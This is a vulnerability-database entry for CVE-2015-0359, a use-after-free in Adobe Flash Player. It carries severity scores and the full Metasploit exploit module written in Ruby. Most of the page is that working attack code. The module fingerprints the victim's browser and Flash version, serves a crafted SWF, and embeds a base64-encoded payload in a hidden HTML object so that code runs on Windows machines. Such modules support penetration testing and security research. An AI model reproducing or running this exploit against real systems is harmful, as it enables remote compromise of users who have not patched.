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Bilou, Unknown, hdarwin, juan vazquez <[email protected]>MSF:EXPLOIT-WINDOWS-BROWSER-ADOBE_FLASH_DOMAIN_MEMORY_UAF-

HistoryMay 07, 2015 - 10:00 p.m.

Adobe Flash Player domainMemory ByteArray Use After Free

2015-05-0722:00:00

bilou, Unknown, hdarwin, juan vazquez <[email protected]>

www.rapid7.com

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

JSON

This module exploits a use-after-free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, when forcing a reallocation by copying more contents than the original capacity, but Flash forgets to update the domainMemory pointer, leading to a use-after-free situation when the main worker references the domainMemory again. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 17.0.0.134.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player domainMemory ByteArray Use After Free',
      'Description'         => %q{
        This module exploits a use-after-free vulnerability in Adobe Flash Player. The
        vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
        is freed from an ActionScript worker, when forcing a reallocation by copying more
        contents than the original capacity, but Flash forgets to update the domainMemory
        pointer, leading to a use-after-free situation when the main worker references the
        domainMemory again. This module has been tested successfully on Windows 7 SP1
        (32-bit), IE 8 and IE11 with Flash 17.0.0.134.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'bilou', # Vulnerability discovery according to Flash Advisory
          'Unknown', # Exploit in the wild
          'hdarwin', # @hdarwin89 / public exploit (msf module is based on this one)
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['CVE', '2015-0359'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],
          ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/angler_ek_exploiting.html'],
          ['URL', 'http://malware.dontneedcoffee.com/2015/04/cve-2015-0359-flash-up-to-1700134-and.html'],
          ['URL', 'https://git.hacklab.kr/snippets/13'],
          ['URL', 'http://pastebin.com/Wj3NViUu']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :os_name => lambda do |os|
            os =~ OperatingSystems::Match::WINDOWS_7 ||
              os =~ OperatingSystems::Match::WINDOWS_81
          end,
          :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) },
          :flash   => lambda { |ver| ver =~ /^17\./ && Rex::Version.new(ver) <= Rex::Version.new('17.0.0.134') },
          :arch    => ARCH_X86
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => '2014-04-14',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    b64_payload = Rex::Text.encode_base64(target_payload)
    platform_id = 'win'
    os_name = target_info[:os_name]

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0359', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end
end